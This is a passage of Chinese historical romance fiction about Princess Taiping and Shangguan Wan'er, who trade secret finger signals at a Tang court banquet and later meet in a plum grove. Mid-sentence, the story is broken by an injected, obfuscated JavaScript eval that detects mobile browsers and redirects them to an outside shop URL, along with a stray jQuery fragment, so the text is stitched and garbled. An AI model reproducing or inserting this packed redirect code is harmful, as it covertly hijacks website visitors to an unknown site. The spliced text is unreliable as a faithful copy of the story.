麟德殿的冬宴向来冗长。
满殿的金玉珠翠晃得人眼晕，烛火将四面墙壁熏得暖融融的，空气里混着酒香、脂粉香与鼎中燃着的沉水香。宗室贵女们三三两两聚在一处，低声品评着今晚的歌舞、新裁的衣裳、某家才入京的年轻郎君。圣人在上首与几位老臣说话，李令月坐在右侧的席上，端着酒盏，唇角挂着恰到好处的笑，应酬着身旁一位郡王妃絮絮叨叨的家常。
上官婉儿立在御座左后侧，手中握着那柄玉柄麈尾，替圣人拂去偶尔飘来的烛烟。从她站的位置，恰好能越过满殿攒动的人影，望见太平席上的动静。
那位郡王妃正说到兴起处，比着手势讲她家小郎君前日射猎的英姿。太平含笑听着，右手搁在膝上，食指无声地叩了两下膝面。
婉儿看见了。
那是"救救我"的意思。两下，快而轻，带着一分调侃三分无奈，意思是这人太缠人了，你想法子快点让自己脱身。
婉儿面不改色，握着麈尾的手指微不可察地动了动，拇指与食指捏在一处，搓了一下。这是"忍着"。
太平的余光捕捉到了。她的唇线几不可见地抿了一下，是憋笑憋的。那位郡王妃浑然不觉，还在滔滔不绝。
大约过了两盏茶的工夫，婉儿借着替圣人添酒的间隙，侧身低声说了句什么。圣人点了点头，抬手朝太平那边指了指："太平啊，你过来。"
太平如蒙大赦，端着酒盏款款走到御座前。圣人问她方才新贡的蜀锦花色如何，她答得头头是道，顺势便在御座下首的绣墩上坐了，离那位郡王妃远了好几丈。
宴散之后，众臣女眷三三两两地告退。太平慢吞吞地落在最后，婉儿替圣人收了案上的茶盏，两人在偏殿的廊下"偶遇"了。四下无人，太平靠在廊柱上，长长地舒了口气："那位张郡王妃，从上回说她家小郎君会背《论语》，说到这回会射兔子。下回是不是要说他会飞了？"
婉儿将手中的茶盘交给一旁的宫人，示意她先端走，这才转过脸来，嘴角微弯："公主方才叩那两下，叩得那般明显，不怕旁人看见？"
"看见了又怎样？"太平挑眉，"谁看得懂？"
这倒是实话。这套暗号是她们儿时的某年夏天在感业寺后山发明的。那时太平还是个小公主，被管得严，每日午后要练一个时辰的琴。婉儿替她研墨捧书，便坐在旁边陪着。太平练琴练得烦了，便偷偷朝婉儿挤眼睛，比手势——食指和中指交叉是"闷"，三下是"我受不了了"，五指张开又合上是"想法子"。婉儿便借口茶水凉了、墨不够了，一趟一趟地跑出去替她拖延时辰。
后来年岁渐长，这套手势也越用越复杂。食指叩两下是"救我"，搓拇指是"忍着"，小指勾一下是"说好了"，无名指摩挲掌心是"晚上见"。旁人看来不过是些无意的细碎动作，可在她们之间，一抬手一转眼，便能递过去一整句话。
最隐秘的一个，至今只有她们两人知道。
那是"我想你了"的意思。
做起来极简单——右手自然垂落时，无名指轻轻蜷进掌心，旁人看去不过是握着拳，毫无异样。可她们在彼此面前做过太多次，一眼便能辨出那根微微蜷起的无名指与寻常握拳之间细微的差别。
这个暗号是在她们分隔两地的那一年发明的。
彼时太平随圣驾巡幸东都，婉儿留在长安理文牍。往来书信都需经内侍省过目，不敢写什么逾矩的话。隔着千里，那些公事公办的纸面上全是寒暄与恭谨，可她总在想，她好不好，宫里累不累，夜来可有人替她添炭。后来那封信来的时候，婉儿拆开一看，满纸写着东都的牡丹开得好、洛水边的柳色如何、圣人在行宫宴请了哪些使臣，末了附了一句："闻长安梅尚含苞，待归时恐已谢矣。甚念。"
信尾的落款下面，有一道几乎看不清的墨痕——像是笔尖无意间拖了一下。可婉儿认得，那是无名指蜷进掌心的形状。她对着那墨痕看了很久，把信纸贴在胸口，闭上眼，觉得千里之外的风都吹过来了。
后来太平回长安，两人在值房里见面。太平关上门第一句话就是："我写的那个——你可看见了？"
婉儿替她倒茶，背对着她，声音淡淡的："看见了。公主殿下写信用墨太省，墨痕拖得那般淡，险些看不清。"
太平走到她身后，右手垂在身侧，无名指轻轻蜷进掌心。婉儿转过身来，垂着眼看她的手，也把自己的手垂下去，无名指蜷起来，两根微微蜷曲的指节隔着寸许的距离，在半空中遥遥相对。
谁也没再说什么。那盏茶凉了才想起喝。
那些手势至今仍是她们之间最妥帖的密
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17873407|212334||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
语。朝堂上、宴席间、人来人往的宫道上，有时隔着整座大殿，婉儿余光里看见太平的右手垂在膝侧，无名指轻轻地蜷进去一下，又松开。她的心跳便快了半拍，面上不动声色，笔下的字却会多一顿。旁人只道上官大人在斟酌辞藻，唯有她自己知道那片刻的失神是什么缘故。
有一回中书令站在婉儿案前禀事，正说到要紧处，婉儿忽然看见窗外廊下太平经过，朝她这边望了一眼。隔着槅扇，太平的右手无名指蜷进掌心，极短的一瞬便松开了。婉儿笔尖一滑，在奏章上拉了一道不轻不重的墨痕。
中书令还以为自己说错了什么，惶恐地住了口。婉儿放下笔，面不改色地笑了笑："无妨，大人方才说到何处？请继续。"可她袖中的左手，无名指悄悄蜷了一下，抵着自己的掌心，像是在回应一个隔着窗棂的拥抱。
那天夜里她在回去的路上，经过西苑的梅林。冬夜无月，星子疏疏落落地嵌在墨蓝的天幕上，冷得发亮。她站在梅树下，听见身后有脚步声踩着枯叶沙沙地近了。
她没有回头，只是垂在身侧的右手，无名指轻轻蜷进掌心。
身后的脚步声顿了一瞬。然后一只手从背后探过来，冰凉的手指碰到她的手背，顺着指缝插进来，与她的手指交错扣住。太平的呼吸贴着她的耳廓，带着夜风的寒意，声音压得很低："你方才朝我蜷了一下。有什么话不能明日说，非得今晚站在这儿挨冻？"
婉儿偏过头，脸颊擦过太平肩头的狐裘绒毛。她没有答话，只是扣着她的手紧了紧，无名指依旧蜷在掌心，被太平的手指裹着，暖意一寸一寸地渡过来。
梅林里静极了，远远的宫灯隔着重重殿宇透过来一点昏黄的光，在地上投下两人交叠的影。
良久，太平把下巴搁在她肩上，声音闷闷的、带着鼻音在婉儿的耳边说了句："行了，知道了。"
婉儿轻声问："知道什么？"
太平把她的手扣得更紧了些，无名指隔着交握的姿势，在她手背上轻轻蹭了一下："知道你想我了。"
风从梅林尽头吹过来，几粒未绽的花苞簌簌地碰在一处。谁也没再说别的了。那些年岁里该说的、不该说的话，都被她们藏进了垂落的手边、蜷起的指尖、一触即分的目光里。旁人看不懂，也无需懂。
只有她们懂。